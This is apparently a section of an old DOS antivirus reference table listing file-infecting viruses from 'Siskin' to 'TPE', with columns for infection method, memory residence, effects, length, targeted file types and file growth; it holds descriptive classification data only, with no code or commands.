ºSiskin.1017 ¦INT ¦MCB ¦ S ¦1017 ¦ CEO ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSistor.1000 ¦INT ¦MCB ¦ - ¦1000 ¦ .C.E&CE ¦ e ¦ L º
ºSistor.1149 ¦INT ¦MCB ¦ - ¦1149 ¦ .C.E&CE ¦ e ¦ L º
ºSistor.2225 ¦INT ¦MCB ¦ V ¦2225 ¦ .C.E ¦ e ¦ L º
ºSistor.2380 ¦INT ¦MCB ¦ V ¦2380 ¦ .C.E ¦ e ¦ L º
ºSistor.2605 ¦INT ¦MCB ¦ V ¦2605 ¦ .C.E ¦ e ¦ L º
ºSistor.2630 ¦INT ¦MCB ¦ V ¦2630 ¦ .C.E ¦ e ¦ L º
ºSistor.3009 ¦INT ¦MCB ¦ V ¦3009 ¦ .C.E ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSkew.445 ¦INT ¦INTB¦ V ¦445 ¦ E * ¦ e ¦ L+p º
ºSkew.458 ¦INT ¦INTB¦ V ¦458 ¦ C * ¦ e ¦ L º
ºSkew.469 ¦INT ¦INTB¦ V ¦469 ¦ E * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSmvb.708 ¦INT ¦KEEP¦ Ch ¦708 ¦ .C ¦ s ¦ L º
ºSmvb.1023 ¦INT ¦KEEP¦ Ch ¦1023 ¦ .C ¦ s ¦ L º
ºSmvb.1100 ¦INT ¦KEEP¦ Ch ¦1100 ¦ .C ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSl.142 ¦INT ¦DOSD¦ Ch ¦142 ¦ C * ¦ s ¦ L º
ºSl.155 ¦INT ¦DOSD¦ - ¦155 ¦ C * ¦ s ¦ L º
ºSl.181 ¦INT ¦DOSD¦ - ¦181 ¦ C * ¦ s ¦ L º
ºSl.200 (2)¦INT ¦DOSD¦ - ¦200 ¦ C * ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSlava.492 ¦INT ¦MCB ¦ - ¦492 ¦ .C&C* ¦ e ¦ L+p º
ºSlava.500 ¦INT ¦MCB ¦ - ¦500 ¦ .C&C* ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSlovakia.1056 ¦FIND¦ - ¦ - ¦1056 ¦ .C ¦ e ¦ L+? º
ºSlovakia.1698 ¦FIND¦ - ¦ V ¦1698 ¦ .C ¦ e ¦ L+? º
ºSlovakia.2372 ¦FIND¦ - ¦ V ¦2372 ¦ .E ¦ e ¦ L+p+? º
ºSlovakia.2387 ¦FIND¦ - ¦ V ¦2387 ¦ .E ¦ e ¦ L+p+? º
ºSlovakia.3584(3)INT ¦MCB ¦ HV ¦3584 ¦ CE * ¦ e ¦ L º
ºSlovakia.Kill ¦INT ¦MCB ¦ H ¦3584 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSmall.92 ¦INT ¦INTB¦ - ¦92 ¦ C ¦ s ¦ L º
ºSmall.100 ¦INT ¦INTB¦ Er ¦100 ¦ C ¦ s ¦ L º
ºSmall.125 (2)¦FIND¦ - ¦ - ¦125 ¦ .C ¦ s ¦ L º
ºSmall.127 ¦INT ¦INTB¦ Er ¦127 ¦ CO ¦ e ¦ L º
ºSmall.128 (2)¦INT ¦INTB¦ - ¦128 ¦ C ¦ e ¦ L º
ºSmall.137 ¦INT ¦INTB¦ Er ¦137 ¦ C ¦ s ¦ L º
ºSmall.187 ¦INT ¦MCB ¦ - ¦187 ¦ C ¦ s ¦ L º
ºSmall.307 ¦INT ¦INTB¦ - ¦307 ¦ C ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSMEG-based viruses º
ÇÄ Ä Ä Ä Ä Ä Ä Ä†Ä Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºSMEG.Pathogen. ¦ ¦ ¦ ¦ ¦ ¦ ¦ º
º 3732 ¦INT ¦MCB ¦ HV ¦3732 ¦ CE * ¦ e ¦ L+p+? º
º.Queeg.3756 ¦INT ¦MCB ¦ HV ¦3756 ¦ CE * ¦ e ¦ L+p+? º
º.Trivia.2437 ¦FIND¦ - ¦ V ¦2437 ¦ .C&C * ¦ e ¦ L+p+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSolar.100 ¦INT ¦INTB¦ - ¦100 ¦ E ¦ e ¦ L º
ºSolar.102 ¦INT ¦INTB¦ - ¦102 ¦ E ¦ e ¦ L º
ºSolar.122 ¦INT ¦INTB¦ - ¦122 ¦ E ¦ e ¦ L º
ºSolar.512 ¦INT ¦INTB¦ Ch ¦512 ¦ E ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSov.1193 ¦INT ¦MCB ¦ V ¦1193 ¦ C * ¦ e ¦ L+p º
ºSov.1205 ¦INT ¦MCB ¦ V ¦1205 ¦ C * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSpanska.1000 ¦FIND¦ - ¦ V ¦1000 ¦ .C * ¦ e ¦ L º
ºSpanska.1120(2)¦FIND¦ - ¦ HV ¦1120 ¦ .C * ¦ e ¦ L º
ºSpanska.1500 ¦FIND¦ - ¦ V ¦1500 ¦ .C.E * ¦ e ¦ L º
ºSpanska.4250 ¦INT ¦MCB ¦ V ¦4250 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSrp.2248 ¦FIND¦ - ¦ S ¦2248 ¦ .E * ¦ e ¦ L+16+p º
ºSrp.2296 ¦FIND¦ - ¦ V ¦2296 ¦ .E * ¦ e ¦ L+16+p º
ºSrp.2380 ¦FIND¦ - ¦ V ¦2380 ¦ .E * ¦ e ¦ L+16+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºStardot.789 ¦FIND¦ - ¦ H ¦789 ¦ .C.E&CE ¦ e ¦ L+p º
ºStardot.979 ¦FIND¦ - ¦ V ¦979 ¦ .C.E&CE* ¦ e ¦ L ++ º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSunset.1079 ¦INT ¦MCB ¦ H ¦1079 ¦ CE * ¦ e ¦ L º
ºSunset.1081 ¦INT ¦MCB ¦ H ¦1081 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSUPD.Cryptor ¦ ¦ ¦ ¦ ¦ ¦ ¦ º
º .2169¦FIND¦ - ¦ - ¦2169 ¦ .C&C * ¦ e ¦ L+? º
º.Cryptor.2582 ¦FIND¦ - ¦ - ¦2582 ¦ .C&C * ¦ e ¦ L+? º
º.Cryptor.3612 ¦FIND¦ - ¦ - ¦3612 ¦ .C&C * ¦ e ¦ L+? º
º.Cryptor.3728 ¦FIND¦ - ¦ - ¦3728 ¦ .C&C * ¦ e ¦ L+? º
º.Voyager ¦INT ¦MCB ¦ - ¦3049 ¦ CE * ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSupervisor.1039¦FIND¦ - ¦ - ¦1039 ¦ .C.E ¦ e ¦ L+p º
ºSupervisor.2906¦INT ¦MCB ¦ HV ¦2906 ¦ .C.E&CE* ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSVC.1064 (2)¦INT ¦MCB ¦ - ¦1064 ¦ CE * ¦ e ¦ L º
ºSVC.1689 (2)¦INT ¦MCB ¦ - ¦1689 ¦ CE * ¦ e ¦ L º
ºSVC.1740 ¦INT ¦MCB ¦ - ¦1740 ¦ CE * ¦ e ¦ L º
ºSVC.3103 (3)¦INT ¦MCB ¦ - ¦3103 ¦ CE * ¦ e ¦ L º
ºSVC.3112 ¦INT ¦MCB ¦ - ¦3112 ¦ CE ¦ e ¦ L º
ºSVC.4644 (2)¦INT ¦MCB ¦ - ¦4644 ¦ CEOS+boot ¦ e ¦ L º
ºSVC.4661 ¦INT ¦MCB ¦ - ¦4661 ¦ CEOS+boot ¦ e ¦ L º
ºSVC.4677 ¦INT ¦MCB ¦ - ¦4677 ¦ CEOS+boot ¦ e ¦ L º
º.Svetlana.1110 ¦INT ¦MCB ¦ - ¦1110 ¦ CE * ¦ e ¦ L º
º.Svetlana.2060 ¦INT ¦MCB ¦ V ¦2060 ¦ CE * ¦ e ¦ L º
º.Svetlana.3410 ¦INT ¦MCB ¦ V ¦3410 ¦ CE * ¦ e ¦ L º
º.Svetlana.4734 ¦INT ¦MCB ¦ V ¦4734 ¦ CE * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSylvia.1321 ¦FIND¦ - ¦ V ¦1321 ¦ .C * ¦ s ¦ L º
ºSylvia.1332 (3)¦FIND¦ - ¦ V ¦1332 ¦ .C * ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSysLock.3551 ¦FIND¦ - ¦ Ch ¦3551 ¦ .C.E&CE ¦ e ¦ L+p º
ºSysLock.Cookie ¦FIND¦ - ¦ HV ¦2232 ¦ CE * ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºSabotager.3133 ¦INT ¦ADDR¦ V ¦3133 ¦ CE * ¦ e ¦ C-L, E-L+2 º
ºSandrine.445 ¦INT ¦KEEP¦ HV ¦445 ¦ .E * ¦ s ¦ L, companion º
ºSalman.2000 ¦FIND¦ - ¦ HV ¦2000 ¦ .E * ¦ e ¦ L+p º
ºSaratov.1790 ¦INT ¦MCB ¦ V ¦1790 ¦ .C.E&CE* ¦ e ¦ L+p º
ºSara.1214 ¦FIND¦ - ¦ HMV¦1214 ¦ .C.E * ¦ s ¦ 0, overwrite º
ºSaturday14.669 ¦INT ¦MCB ¦ H ¦669 ¦ CE ¦ e ¦ L+p º
ºSb.645 ¦FIND¦ - ¦ - ¦645 ¦ .C&C * ¦ e ¦ L+p º
ºSch.461 ¦FIND¦ - ¦ - ¦461 ¦ .C * ¦ e ¦ L º
ºSchizo.398 ¦INT ¦INTB¦ - ¦398 ¦ C * ¦ e ¦ L º
ºScitzo.1337 ¦INT ¦MCB ¦ - ¦1337 ¦ CE ¦ e ¦ L º
ºScoundrel.3323 ¦INT ¦MCB ¦ V ¦3323 ¦ .C.E&CE* ¦ e ¦ L º
ºScroll.600(1) ¦FIND¦ - ¦ V ¦600 ¦ .C * ¦ e ¦ L º
ºScroll.600(2) ¦INT ¦MCB ¦ V ¦600 ¦ .C&C * ¦ e ¦ L º
ºSds.1906 ¦INT ¦MCB ¦ H ¦1906 ¦ C * ¦ e ¦ L º
ºSearch.308 ¦FIND¦ - ¦ - ¦308 ¦ .C ¦ e ¦ L º
ºSearch.4148 ¦FIND¦ - ¦ V ¦4148 ¦ .C.E&CE* ¦ e ¦ C-L+p, E-L+139+p º
ºSebo.2048 ¦INT ¦MCB ¦ S ¦2048 ¦ C * ¦ e ¦ L º
ºSelect.1112 ¦INT ¦MCB ¦ VS ¦1112 ¦ E * ¦ e ¦ L º
ºSept13.440 ¦FIND¦ - ¦ - ¦440 ¦ .C ¦ e ¦ L º
ºSerbu.3493 ¦INT ¦MCB ¦ V ¦3493 ¦ CE ¦ e ¦ L º
ºSerNo.1471 ¦FIND¦ - ¦ HV ¦1471 ¦ .E * ¦ e ¦ L+? º
ºShaman.251 ¦FIND¦ - ¦ V ¦251 ¦ .C ¦ s ¦ L º
ºShirley.4096 ¦INT ¦KEEP¦ - ¦4096 ¦ E * ¦ e ¦ L+p º
ºShuHard.386 ¦INT ¦INTB¦ Ch ¦386 ¦ C ¦ e ¦ L º
ºSI.492 ¦INT ¦INTB¦ H ¦492 ¦ .C&C ¦ e ¦ L º
ºSign.615 ¦FIND¦ - ¦ - ¦615 ¦ .C ¦ e ¦ L º
ºSillyWilly.2256¦FIND¦ - ¦ HV ¦2256 ¦ .C * ¦ e ¦ L+? º
ºSily.745 ¦INT ¦MCB ¦ V ¦745 ¦ E * ¦ e ¦ L+p º
ºSimulation ¦FIND¦ - ¦ V ¦1205 ¦ .C * ¦ e ¦ L+? º
ºSirius.1081 ¦INT ¦MCB ¦ - ¦1081 ¦ C ¦ e ¦ L º
ºSlug.872 ¦INT ¦MCB ¦ HV ¦872 ¦ .C&C ¦ e ¦ L º
ºSly ¦INT ¦ - ¦ H ¦512 ¦ E+boot* ¦ s ¦ 0, overwrite * º
ºSmile.4320 ¦INT ¦MCB ¦ S ¦4320 ¦ .C.E+boot*¦ s ¦ L º
ºSmoker.631 ¦INT ¦MCB ¦ - ¦631 ¦ CE * ¦ e ¦ L º
ºSms.480 ¦INT ¦INTB¦ - ¦480 ¦ C ¦ s ¦ L º
ºSnap.228 ¦FIND¦ - ¦ Er ¦228 ¦ .C * ¦ s ¦ L º
ºSnowfall.5000(2¦INT ¦MCB ¦ HV ¦5000 ¦ .C.E&CE* ¦ s ¦ L º
ºSochi.703 ¦FIND¦ - ¦ HV ¦703 ¦ .C * ¦ se ¦ L º
ºSosun.232 ¦INT ¦INTB¦ - ¦232 ¦ C * ¦ s ¦ L º
ºSova.4060 ¦INT ¦MCB ¦ H ¦4060 ¦ .C.E&CE* ¦ e ¦ L º
ºSoulMan.5536 ¦INT ¦MCB ¦ - ¦5536 ¦ E * ¦ e ¦ L+p º
ºSparse.3840 ¦INT ¦MCB ¦ - ¦3840 ¦ .C ¦ s ¦ L º
ºSpecified.2048 ¦INT ¦MCB ¦ H ¦2048 ¦ E * ¦ e ¦ L º
ºSpirit.1710 ¦INT ¦MCB ¦ H ¦1710 ¦ .C.E&CE* ¦CsEe ¦C-L+(0-1709),E-L+pº
ºSplit.250 ¦FIND¦ - ¦ H ¦250 ¦ .C * ¦ e ¦ L º
ºSpruce.976 ¦INT ¦MCB ¦ SEr¦976 ¦ .C.E* ¦ e ¦ C-L, E-L+(16-511)º
ºSqL.953 ¦INT ¦MCB ¦ - ¦953 ¦ C ¦ e ¦ L+p º
ºSsr.1945 (2)¦FIND¦ - ¦ VS ¦1945 ¦ .C * ¦ e ¦ L º
ºSstr.717 ¦FIND¦ - ¦ - ¦717 ¦ .C&C* ¦ e ¦ L º
ºSTan.1700 ¦INT ¦MCB ¦ V ¦1700 ¦ .C&C* ¦ s ¦ L º
ºStarcon.1057 ¦INT ¦MCB ¦ - ¦1057 ¦ .C&C* ¦ e ¦ L º
ºStorm.1153 ¦INT ¦MCB ¦ V ¦1153 ¦ .C&C ¦ e ¦ L º
ºStoryteller.3184INT ¦KEEP¦ V ¦3184 ¦ .E ¦ e ¦ L+p º
ºStranger.734 ¦INT ¦MCB ¦ H ¦734 ¦ C ¦ i ¦ 0, insert º
ºStrip.1972 ¦INT ¦MCB ¦ Va ¦1972 ¦ C * ¦ e ¦ L º
ºStuff.624 ¦FIND¦ - ¦ - ¦624 ¦ .C&C* ¦ e ¦ L º
ºSuburbs.393 ¦INT ¦INTB¦ - ¦393 ¦ C * ¦ e ¦ L º
ºSum.1441 ¦INT ¦MCB ¦ - ¦1441 ¦ .C.E&CE* ¦ e ¦ C-L+(0-31), E-L+pº
ºSwabia.2411 ¦INT ¦MCB ¦ V ¦2411 ¦ CE * ¦ e ¦ L+? º
ºSwamp.1394 ¦INT ¦MCB ¦ - ¦1394 ¦ .C.E* ¦ e ¦ C-L, E-L+p º
ºSwine.3000 (2)¦INT ¦MCB ¦ - ¦3000 ¦ CE * ¦ e ¦ L º
ºSwitch.855 ¦FIND¦ - ¦ H ¦855 ¦ .C * ¦ e ¦ L º
ºSword.794 ¦INT ¦MCB ¦ - ¦794 ¦ CE * ¦ e ¦ L º
ºSyrian.241 ¦INT ¦KEEP¦ HV ¦241 ¦ CEO * ¦ s ¦ 0, overwrite º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part T
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºTaiPan.437 ¦INT ¦MCB ¦ - ¦437 ¦ E * ¦ e ¦ L º
ºTaiPan.438 (2)¦INT ¦MCB ¦ - ¦438 ¦ E * ¦ e ¦ L º
º.Hooze ¦INT ¦MCB ¦ V ¦513 ¦ E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºTaz.987 ¦INT ¦MCB ¦ H ¦987 ¦ C * ¦ e ¦ L º
ºTaz.1041 ¦INT ¦MCB ¦ HV ¦1041 ¦ C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºTenBytes.1411 ¦INT ¦ADDR¦ H ¦1411 ¦ CE * ¦ e ¦ C-L+40+p, E-L+p º
ºTenBytes.1514 ¦INT ¦ADDR¦ H ¦1514 ¦ CE * ¦ e ¦ C-L+40+p, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºTequila ¦INT ¦MCB ¦ V ¦2468 ¦.E&E+boot *¦ e ¦ L º
º.5volt ¦INT ¦MCB ¦ - ¦2659 ¦ .E&E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºTerra.1027 ¦INT ¦KEEP¦ V ¦1027 ¦ .E * ¦ s ¦ L, companion º
ºTerra.1042 ¦INT ¦KEEP¦ V ¦1042 ¦ .E * ¦ s ¦ L, companion º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºTet.365 ¦FIND¦ - ¦ - ¦365 ¦ .C * ¦ e ¦ L º
ºTet.393 ¦FIND¦ - ¦ - ¦393 ¦ .C * ¦ e ¦ L º
ºTet.409 ¦FIND¦ - ¦ - ¦409 ¦ .C * ¦ e ¦ L º
ºTet.474 ¦FIND¦ - ¦ - ¦474 ¦ .C * ¦ e ¦ L º
ºTet.733 ¦FIND¦ - ¦ HV ¦733 ¦ .C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºTib.708 ¦INT ¦MCB ¦ Ch ¦708 ¦ C * ¦ e ¦ L º
ºTib.713 ¦INT ¦MCB ¦ Ch ¦713 ¦ C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºTie.619 ¦INT ¦MCB ¦ - ¦619 ¦ C * ¦ e ¦ L º
ºTie.710 ¦INT ¦MCB ¦ - ¦710 ¦ C * ¦ e ¦ L º
ºTie.713 ¦INT ¦MCB ¦ - ¦713 ¦ C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºTimid.305 ¦FIND¦ - ¦ V ¦305 ¦ .C ¦ e ¦ L º
ºTimid.526 (2)¦FIND¦ - ¦ V ¦526 ¦ *.* * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºTiny.92 ¦FIND¦ - ¦ - ¦92 ¦ C ¦ s ¦ L º
ºTiny.114 (2)¦INT ¦INTB¦ - ¦114 ¦ C ¦ s ¦ L º
ºTiny.118 ¦INT ¦INTB¦ - ¦118 ¦ C ¦ s ¦ L º
ºTiny.122 ¦INT ¦INTB¦ - ¦122 ¦ C ¦ s ¦ L º
ºTiny.129 ¦INT ¦INTB¦ - ¦129 ¦ C ¦ e ¦ L º
ºTiny.134 ¦INT ¦DOSD¦ Er ¦134 ¦ C ¦ e ¦ L º
ºTiny.138 ¦INT ¦DOSD¦ - ¦138 ¦ C ¦ e ¦ L º
ºTiny.141 ¦INT ¦INTB¦ - ¦141 ¦ C ¦ e ¦ L º
ºTiny.143 ¦INT ¦DOSD¦ - ¦143 ¦ C ¦ e ¦ L º
ºTiny.154 ¦INT ¦DOSD¦ - ¦154 ¦ C ¦ e ¦ L º
ºTiny.156 ¦INT ¦DOSD¦ - ¦156 ¦ C ¦ e ¦ L º
ºTiny.158 ¦INT ¦DOSD¦ - ¦158 ¦ C ¦ e ¦ L º
ºTiny.160 ¦INT ¦DOSD¦ - ¦160 ¦ C ¦ e ¦ L º
ºTiny.167 ¦INT ¦DOSD¦ - ¦167 ¦ C ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºTmc.4829 ¦INT ¦MCB ¦ - ¦4829 ¦ CE * ¦ e ¦ L+? º
ºTmc.5440 ¦INT ¦MCB ¦ - ¦5440 ¦ CE * ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºTormentor.358 ¦FIND¦ - ¦ - ¦358 ¦ .E&E * ¦ e ¦ L º
ºTormentor.360 ¦FIND¦ - ¦ - ¦360 ¦ .E&E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºTPE-based viruses º
ÇÄ Ä Ä Ä Ä Ä Ä Ä†Ä Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºTPE.Bosnia ¦INT ¦MCB ¦ V ¦3112 ¦ .C.E&CE* ¦ e ¦ L+? º
º.CivilWar.1979 ¦FIND¦ - ¦ - ¦1979 ¦ .C * ¦ e ¦ L+? º
º.CivilWar.1994 ¦FIND¦ - ¦ - ¦1994 ¦ .C * ¦ e ¦ L+? º
º.CivilWar.1997 ¦FIND¦ - ¦ - ¦1997 ¦ .C * ¦ e ¦ L+? º
º.CivilWar.2049 ¦INT ¦MCB ¦ - ¦2049 ¦ .C * ¦ e ¦ L+? º
º.Dgme.1758 ¦FIND¦ - ¦ - ¦1758 ¦ .C * ¦ s ¦ L+? º
º.Dgme.2468 ¦FIND¦ - ¦ - ¦2468 ¦ .C * ¦ s ¦ L+? º
º.Dgme.2518 ¦FIND¦ - ¦ - ¦2518 ¦ .C * ¦ s ¦ L+? º
º.Gambit.2259 ¦INT ¦MCB ¦ Er ¦2259 ¦ .E * ¦ s ¦ L+?, companion º
